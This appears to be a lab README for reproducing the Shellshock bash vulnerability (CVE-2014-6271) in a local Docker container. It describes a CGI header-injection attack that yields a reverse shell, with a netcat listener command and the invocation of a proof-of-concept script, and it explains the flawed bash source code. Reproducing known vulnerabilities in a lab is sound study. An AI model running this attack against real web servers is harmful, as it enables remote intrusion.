Shellshock CVE-2014-6271

Shellshock

docker-compose.yml, poc.py 파일을 다운 받아 주세요 반드시 pip install requests 를 통해 requests 라이브러리를 다운받아 주세요!!! uv를 사용하시는 분들은 uv를 통해 requests 라이브러리를 venv 안에 넣어주세요!!!

Docker file configuration

Write the Dockerfile to keep the web server running when executing the docker compose up command.

Since the OS, Apache, etc. in the Dockerfile are all downloaded from external repositories, I tagged the built image, pushed it to Docker Hub, and specified that image in the docker-compose.yml file so that there is no problem even if the original is deleted.

A Bash shell with the Shellshock vulnerability is required. I downloaded and used bash shell version 4.2.37(1).

Additionally, since the code must be registered in an environment variable and then Bash must be invoked to execute the code, a program that can invoke Bash must exist. I downloaded the CGI program that was used to process client requests on the web server. According to the CGI specification (RFC 3875), the web server is designed to put all header information sent by the browser into Linux environment variables for processing.

Under this condition, the web server sends a request and the header information is stored in environment variables (by the CGI specification). The attack is completed when CGI invokes a bash shell that has the vulnerability where a string after a function definition in an environment variable is executed.

Request (sending code embedded in the User-Agent header) -> CGI invokes bash -> Reverse shell connection

1. Start the web server using the docker compose up command.
2. Open a new terminal and start listening with nc -lvp 4444
3. Run poc.py to connect the reverse shell.
   • uv run ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 (It doesn't have to be 4444; it depends on which port you are listening on.)
   • python3 ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 (If you are not using uv, please run it with the python3 command!!!)

The terminal that was listening in step 2 of the reproduction steps is connected to the container's internal bash shell, allowing commands such as whoami, id, etc. to be executed.

  '''
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
{
string_length = strlen (string);
temp_string = (char *)xmalloc (3 + string_length + char_index);

strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string);

parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

// 이하 생략 
'''

The cause of the vulnerability lies in the initialize_shell_variables function within variables.c of the bash shell code. This function is too long, so I have only extracted the core part.

'''
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
'''

The if statement above checks whether the first 4 characters are "() {" using STREQN ("() {", string, 4). If it matches, it is treated as a function. Surprisingly, there is no filtering on string afterwards, which caused the problem.

'''
strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string); 

''' The code above concatenates the name and the value. Since the value passed the check above, string starts with "() {", and name is the environment variable name.

Thus, the name and value of the environment variable are combined and passed to the code below for parsing. Because the only filter was the check for "() {", even if commands such as whoami, id, pwd are appended after the function, they all get executed.

'''
parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
 '''